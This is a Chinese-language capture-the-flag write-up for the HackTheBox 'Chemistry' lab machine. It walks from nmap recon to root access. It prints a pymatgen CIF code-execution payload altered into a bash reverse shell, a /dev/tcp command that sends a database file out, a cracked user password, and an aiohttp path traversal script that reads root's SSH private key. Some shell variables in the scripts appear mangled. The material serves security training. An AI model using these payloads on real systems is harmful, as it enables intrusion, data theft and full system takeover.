htb-Chemistry
linux easy
信息收集
nmap 扫描结果
nmap -sC -sV 10.10.11.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 16:19 CST
Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 56.03% done; ETC: 16:20 (0:00:23 remaining)
Nmap scan report for 10.10.11.38
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.9.5
| Date: Thu, 24 Oct 2024 08:20:31 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 719
| Vary: Cookie
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Chemistry - Home</title>
| <link rel="stylesheet" href="/static/styles.css">
| </head>
| <body>
| <div class="container">
| class="title">Chemistry CIF Analyzer</h1>
| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
| <div class="buttons">
| <center><a href="/login" class="btn">Login</a>
| href="/register" class="btn">Register</a></center>
| </div>
| </div>
| </body>
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
发现开放了ssh和一个5000端口
5000端口是一个登陆注册界面
获取初始shell
访问
随便注册一个用户进去后是一个文件上传的
上传的文件必须是cif文件
关于cif文件rce参考文章
exp
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
关于里面的命令我们改成反弹shell的即可
"/bin/bash -c \'sh -i >& /dev/tcp/<IP>/<PORT> 0>&1\'"
把这个文件写进一个cif文件里面上传
点击view本机监听可获得shell
获得初始shell,
寻找有用的信息
在app下的instance目录下发现一个database.db
把他传到我们本机,前提是我们要获取到一个交互式的终端
cat database.db >& /dev/tcp/10.10.14.123/9080 0>&1
python3 -c "import pty;pty.spawn('/bin/bash')"
本机监听一下即可
回到靶机查看home目录
app@chemistry:/home$ ls
ls
app rosa
有rosa用户,这里刚好还有他的密码,关于他的密码是如何加密的吗,在他的源码中写的有
md5加密保存到数据库中的
拿去网站解密
得到密码是
rosa:unicorniosrosados
利用ssh登陆
进去后就可以拿到user.txt
提权
首先尝试寻找有没有sudo和suid权限的命令
sudo无果
尝试suid
find / -perm -u=s -type f 2>/dev/null
命令解释:
/ 表示从文件系统的顶部(根)开始,查找每个目录
-perm 表示搜索后面的权限
-u=s 表示查找 root 用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示普通文件,而不是目录或特殊文件
2 表示到进程的第二个文件描述符,即 stderr(标准错误)
> 表示重定向
/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
rosa@chemistry:~$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/21759/usr/lib/snapd/snap-confine
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/at
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
发现也没有可以利用的
使用ps -aux
发现以root身份运行了一个python项目
查看的时权限不允许
最后查看端口占用的时候发现有一个内网服务,猜测就是那个python项目
就是这个8080服务
利用ssh把他转发到本地
ssh -f -N -L 8000:127.0.0.1:8080 rosa@10.10.11.38
访问
扒了一会没有可以找到可以利用的
于是查看他的headers是什么服务
Server: Python/3.9 aiohttp/3.9.1
网上查找paylaod
发现是
#!/bin/bash
url="http://localhost:8081"
string="../"
payload="/static/"
file="etc/passwd" # without the first /
for ((i=0; i<15; i++)); do
payload+="string"
echo "[+] Testing withpayloadfile"
status_code=(curl --path-as-is -s -o /dev/null -w "%{http_code}" "urlpayloadfile")
echo -e "\tStatus code -->status_code"
if [[ status_code -eq 200 ]]; then
curl -s --path-as-is "urlpayloadfile"
break
fi
done
该漏洞利用了该url
参数,并将../
字符串附加到该参数 15 次,每次循环都检查是否能够到达参数/etc/passwd
中的内容。该漏洞利用了该属性file
向发出请求。url``curl --path-as-is
我们要想利用这个漏洞提权到root可以读取root的私钥文件,
关于这个exp需要更改的
#!/bin/bash
url="http://localhost:8080"
string="../"
payload="/assets/"
file="root/.ssh/id_rsa" # without the first /
for ((i=0; i<15; i++)); do
payload+="string"
echo "[+] Testing withpayloadfile"
status_code=(curl --path-as-is -s -o /dev/null -w "%{http_code}" "urlpayloadfile")
echo -e "\tStatus code -->status_code"
if [[ status_code -eq 200 ]]; then
curl -s --path-as-is "urlpayloadfile"
break
fi
done
关于为什么是assets
最后执行
拿到私钥使用ssh登陆
ssh root@10.10.11.38 -i key
注意key文件需要加600权限
最后就获取到root.txt
评论(0)
暂无评论